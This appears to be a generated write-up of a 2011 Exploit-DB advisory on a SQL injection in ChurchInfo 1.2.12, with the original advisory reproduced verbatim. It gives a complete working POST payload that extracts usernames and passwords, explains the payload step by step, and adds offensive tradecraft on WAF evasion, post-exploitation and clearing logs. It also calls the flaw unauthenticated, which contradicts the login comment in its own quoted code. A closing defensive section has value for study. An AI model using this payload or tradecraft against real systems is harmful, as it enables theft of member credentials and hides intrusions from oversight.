Exploiting ChurchInfo 1.2.12: A Deep Dive into SQL Injection

Exploiting ChurchInfo 1.2.12: A Deep Dive into SQL Injection
What this paper is
This paper details a SQL injection vulnerability found in ChurchInfo version 1.2.12. The vulnerability allows an attacker to manipulate database queries by injecting malicious SQL code through the WhichType POST parameter in the ListEvents.php script. Successful exploitation can lead to the disclosure of sensitive user information, such as usernames and passwords.
Simple technical breakdown
The vulnerability lies in how the ListEvents.php script handles user input. It takes a value from the WhichType POST parameter and directly uses it to construct a SQL query to fetch event types from the database. Because the input isn't properly sanitized, an attacker can insert SQL commands within the WhichType value.
Specifically, the attacker uses a UNION SELECT statement. This allows them to combine the results of the original, intended query with the results of a query they craft. In this case, the crafted query targets the user_usr table to extract user credentials.
Complete code and payload walkthrough
The paper provides a sample HTTP POST request and highlights the vulnerable code snippets.
Vulnerable Code Snippets:
./churchinfo-1.2.12/ListEvents.php(lines 29-48):# require 'Include/Config.php'; # require 'Include/Functions.php'; // (0) You should be logged in as some user # $eType="All"; # $ThisYear=date("Y"); # # if ($_POST['WhichType']){ # $eType = $_POST['WhichType']; // (1) # } else { # $eType ="All"; # } # # if($eType!="All"){ # $sSQL = "SELECT * FROM event_types WHERE type_id=$eType"; // (2) # $rsOpps = RunQuery($sSQL); # $aRow = mysql_fetch_array($rsOpps, MYSQL_BOTH); # extract($aRow); # $sPageTitle = "Listing Events of Type = ".$type_name; // (3) # } else { # $sPageTitle = gettext("Listing All Church Events"); # }- (1)
$eType = $_POST['WhichType'];: This line directly assigns the value of theWhichTypePOST parameter to the$eTypevariable. This is the entry point for the injection. - (2)
$sSQL = "SELECT * FROM event_types WHERE type_id=$eType";: This line constructs the SQL query. The$eTypevariable, which contains user-supplied input, is directly concatenated into the query string without any sanitization or parameterization. This is the core of the SQL injection vulnerability. - (3)
$sPageTitle = "Listing Events of Type = ".$type_name;: This line uses the result of the database query to set a page title. If the query is manipulated, the extracted data can be displayed here.
- (1)
./churchinfo-1.2.12/Include/Header-function.php(line 37):# ... # <title>ChurchInfo: <?php echo $sPageTitle; ?></title> // (4) # ...- (4)
echo $sPageTitle;: This line displays the$sPageTitlevariable, which is constructed inListEvents.php. If the$sPageTitlecontains data extracted via SQL injection, it will be rendered in the HTML title, making the stolen data visible to the attacker.
- (4)
Exploit Payload (POST request):
POST /churchinfo-1.2.12/ListEvents.php HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: d4dad6935f632ac35975e3001dc7bbe8=49c5739b193271a0005a59b294a05da9; PHPSESSID=8aec7c6adbe96b4079c0150b3c54452a
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
WhichType=-1/**/UNION/**/SELECT/**/1,concat_ws(char(58),usr_per_ID,usr_UserName,usr_Password),3,4,5,6,7,8/**/from/**/user_usr/**/WHERE/**/usr_per_ID=1Explanation of the WhichType payload:
WhichType=-1: This starts the injection. By settingWhichTypeto-1, we are likely trying to bypass any intended logic that expects a validtype_id. The original query would beSELECT * FROM event_types WHERE type_id=-1. This query would likely return no results./**/UNION/**/SELECT/**/: This is the core of the SQL injection./**/is used as a comment in SQL. It's often used to break up keywords and bypass simple WAF (Web Application Firewall) rules or to make the query more readable.UNIONallows combining the result set of two or moreSELECTstatements.SELECTis the standard SQL command to retrieve data.
1,concat_ws(char(58),usr_per_ID,usr_UserName,usr_Password),3,4,5,6,7,8: This is the list of columns the attacker wants to retrieve.1, 3, 4, 5, 6, 7, 8: These are placeholder values. The original querySELECT * FROM event_typeslikely returns a certain number of columns. TheUNION SELECTstatement must have the same number of columns as the original query. The attacker is guessing or has prior knowledge of the number of columns in theevent_typestable.concat_ws(char(58),usr_per_ID,usr_UserName,usr_Password): This is the crucial part for data exfiltration.concat_ws()is a MySQL function that concatenates strings with a separator.char(58)is the ASCII character for a colon (:). This will be used as the separator between the extracted user data.usr_per_ID,usr_UserName,usr_Passwordare column names from theuser_usrtable, which stores user credentials.
/**/from/**/user_usr/**/WHERE/**/usr_per_ID=1: This specifies the source of the data to be exfiltrated.from user_usr: This indicates that the data should be selected from theuser_usrtable.WHERE usr_per_ID=1: This filters the results to retrieve the record whereusr_per_IDis 1. This is a common starting point to get the first user's credentials.
Mapping list:
WhichType=-1/**/UNION/**/SELECT/**/1,concat_ws(char(58),usr_per_ID,usr_UserName,usr_Password),3,4,5,6,7,8/**/from/**/user_usr/**/WHERE/**/usr_per_ID=1-> Malicious SQL Injection Payload: This entire string is injected into theWhichTypePOST parameter. It manipulates the original SQL query to extract user credentials from theuser_usrtable.$_POST['WhichType']-> Vulnerable Input Source: The raw, unsanitized user input from the HTTP POST request.$sSQL = "SELECT * FROM event_types WHERE type_id=$eType";-> Vulnerable SQL Query Construction: The line where user input is directly embedded into the SQL query.concat_ws(char(58),usr_per_ID,usr_UserName,usr_Password)-> Data Exfiltration Function: A MySQL function used to combine and format the sensitive user data before it's displayed.user_usr-> Targeted Sensitive Table: The database table containing user credentials.usr_per_ID=1-> Targeted Record: A filter to retrieve a specific user's record (in this case, the first user).$sPageTitle = "Listing Events of Type = ".$type_name;-> Data Display Mechanism: The variable that will hold the concatenated string, including the injected data, and is later displayed on the webpage.echo $sPageTitle;-> Data Leakage Point: The PHP code that renders the potentially compromised$sPageTitlein the HTML<title>tag.
Practical details for offensive operations teams
- Required Access Level: Unauthenticated access to the web application. The vulnerability is exposed through a public-facing script.
- Lab Preconditions:
- A running instance of ChurchInfo version 1.2.12.
- A web server (e.g., Apache) with PHP and MySQL configured to run the application.
- Knowledge of the application's URL structure (e.g.,
http://target.com/churchinfo-1.2.12/). - A database with at least one user record in the
user_usrtable.
- Tooling Assumptions:
- A web browser for initial reconnaissance and manual testing.
- An HTTP proxy (e.g., Burp Suite, OWASP ZAP) to intercept and modify requests.
- A command-line tool like
curlfor scripting and automated testing. - SQLMap can automate this type of injection if configured correctly.
- Execution Pitfalls:
- WAF/IDS Evasion: The use of
/**/for comments is a common evasion technique. More sophisticated WAFs might require different obfuscation methods or encoding. - Column Count Mismatch: The attacker assumes the
event_typestable has at least 8 columns. If it has fewer or more, theUNION SELECTwill fail. The attacker might need to perform a blind SQL injection or a different type of enumeration to determine the correct column count. - Database Type: The payload uses MySQL-specific functions (
concat_ws,char). If the target uses a different database (e.g., PostgreSQL, SQL Server), the payload would need to be adapted. The paper mentions PHP, suggesting a common LAMP stack, making MySQL likely. - Login Requirement: The comment
(0) You should be logged in as some usermight be a hint that some functionality requires authentication. However, this specific vulnerability appears to be exploitable without login. If authentication were required, session hijacking or credential stuffing would be prerequisites. - Error Handling: If the application displays detailed SQL errors to the user, this can aid in debugging the injection. If errors are suppressed, blind SQL injection techniques would be necessary.
- Payload Delivery: The payload is delivered via POST. Ensure the tool or script correctly sends POST data.
- WAF/IDS Evasion: The use of
- Tradecraft Considerations:
- Reconnaissance: Identify the exact version of ChurchInfo. Look for common web application paths and file structures.
- Probing: Start with simple SQL injection payloads to confirm the vulnerability (e.g., adding a single quote
'to see if it causes an error). - Enumeration: If the initial
UNION SELECTfails due to column count, enumerate the number of columns in theevent_typestable. - Data Extraction: Once the correct column count is known, craft the
UNION SELECTto extract desired information. The paper demonstrates extracting user credentials, but other sensitive data could be targeted if known. - Post-Exploitation: If credentials are obtained, attempt to log in to the application to explore further.
- Covering Tracks: Standard log clearing or manipulation, if within the scope of the engagement.
Where this was used and when
- Context: This vulnerability was found in ChurchInfo, a web-based church database program. It was likely used by individuals or organizations managing church member data.
- Approximate Year: The exploit was published in January 2011. This indicates the vulnerability existed in ChurchInfo 1.2.12 prior to this date, likely for some period before discovery. Exploits from this era often targeted older, unpatched web applications.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the most critical lesson. Never trust user input. All data received from external sources (HTTP requests, user forms, APIs) must be validated against expected formats and sanitized to remove potentially malicious characters or code.
- Parameterized Queries (Prepared Statements): Use parameterized queries or prepared statements provided by the database driver. This separates the SQL code from the data, preventing user input from being interpreted as executable SQL.
- Least Privilege Principle: Ensure the database user account that the web application uses has only the minimum necessary permissions. If the application's database user is compromised, it should not have broad administrative access.
- Web Application Firewalls (WAFs): While not a silver bullet, WAFs can help detect and block common SQL injection patterns. However, they should be used in conjunction with secure coding practices, not as a replacement.
- Regular Patching and Updates: Keep all software, including web applications, frameworks, and server components, up to date with the latest security patches. ChurchInfo 1.2.12 is an old version, and newer versions would likely have addressed this specific vulnerability.
- Secure Coding Training: Developers must be trained on secure coding practices, including common vulnerabilities like SQL injection and how to prevent them.
- Database Schema Awareness: Understand the structure of your database. Avoid exposing sensitive tables like
user_usrdirectly to web application queries if possible, or ensure strict access controls.
ASCII visual (if applicable)
+-----------------+ +-----------------+ +---------------------+
| Attacker's Input|----->| Web Application |----->| Database Server |
| (POST: WhichType)| | (ListEvents.php)| | (SQL Query Execution)|
+-----------------+ +-----------------+ +----------+----------+
|
| (Vulnerable Query)
v
+-----------------+
| user_usr table |
| (Credentials) |
+-----------------+
|
| (Extracted Data)
v
+-----------------+
| Web Application |
| (Displays Title)|
+-----------------+
|
v
+-----------------+
| Attacker sees |
| Credentials |
+-----------------+This diagram illustrates the flow: attacker input is processed by the web application, which constructs a vulnerable SQL query. This query then interacts with the database, potentially exposing sensitive data from the user_usr table. The extracted data is then displayed back to the attacker via the web application's output.
Source references
- Paper ID: 15887
- Paper Title: ChurchInfo 1.2.12 - SQL Injection
- Author: dun
- Published: 2011-01-01
- Keywords: PHP, webapps
- Paper URL: https://www.exploit-db.com/papers/15887
- Raw URL: https://www.exploit-db.com/raw/15887
Original Exploit-DB Content (Verbatim)
:::::::-. ... ::::::. :::.
;;, `';, ;; ;;;`;;;;, `;;;
`[[ [[[[' [[[ [[[[[. '[[
$$, $$$$ $$$ $$$ "Y$c$$
888_,o8P'88 .d888 888 Y88
MMMMP"` "YmmMMMM"" MMM YM
[ Discovered by dun \ posdub[at]gmail.com ]
[ 2011-01-01 ]
##############################################################
# [ ChurchInfo <= 1.2.12 ] SQL Injection Vulnerability #
##############################################################
#
# Script: "ChurchInfo is a free church database program to help churches track members,
# families, groups, pledges and payments..."
#
# Script site: http://www.churchdb.org/
# Download: http://sourceforge.net/projects/churchinfo/
#
# [SQL] Vuln: http://site.com/churchinfo-1.2.12/ListEvents.php
#
# POST /churchinfo-1.2.12/ListEvents.php HTTP/1.1
# Host: site.com
# User-Agent: Mozilla/5.0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: pl,en-us;q=0.7,en;q=0.3
# Accept-Encoding: gzip,deflate
# Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
# Keep-Alive: 115
# Connection: keep-alive
# Cookie: d4dad6935f632ac35975e3001dc7bbe8=49c5739b193271a0005a59b294a05da9; PHPSESSID=8aec7c6adbe96b4079c0150b3c54452a
# Content-Type: application/x-www-form-urlencoded
# Content-Length: 150
#
# WhichType=-1/**/UNION/**/SELECT/**/1,concat_ws(char(58),usr_per_ID,usr_UserName,usr_Password),3,4,5,6,7,8/**/from/**/user_usr/**/WHERE/**/usr_per_ID=1
#
# HTTP/1.1 200 OK
# Date: Sat, 01 Jan 2011 15:39:10 GMT
# Server: Apache
# Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
# Expires: Thu, 19 Nov 1981 08:52:00 GMT
# Pragma: no-cache
# X-Powered-By: PHP/4.4.9
# Keep-Alive: timeout=2, max=200
# Connection: Keep-Alive
# Transfer-Encoding: chunked
# Content-Type: text/html
#
#
# Bug: ./churchinfo-1.2.12/ListEvents.php (lines: 29-48)
#
# ...
# require 'Include/Config.php';
# require 'Include/Functions.php'; // (0) You should be logged in as some user
# $eType="All";
# $ThisYear=date("Y");
#
# if ($_POST['WhichType']){
# $eType = $_POST['WhichType']; // (1)
# } else {
# $eType ="All";
# }
#
# if($eType!="All"){
# $sSQL = "SELECT * FROM event_types WHERE type_id=$eType"; // (2)
# $rsOpps = RunQuery($sSQL);
# $aRow = mysql_fetch_array($rsOpps, MYSQL_BOTH);
# extract($aRow);
# $sPageTitle = "Listing Events of Type = ".$type_name; // (3)
# } else {
# $sPageTitle = gettext("Listing All Church Events");
# }
# ...
#
#
# Bug: ./churchinfo-1.2.12/Include/Header-function.php (line: 37)
#
# ...
# <title>ChurchInfo: <?php echo $sPageTitle; ?></title> // (4)
# ...
#
###############################################
[ dun / 2011 ]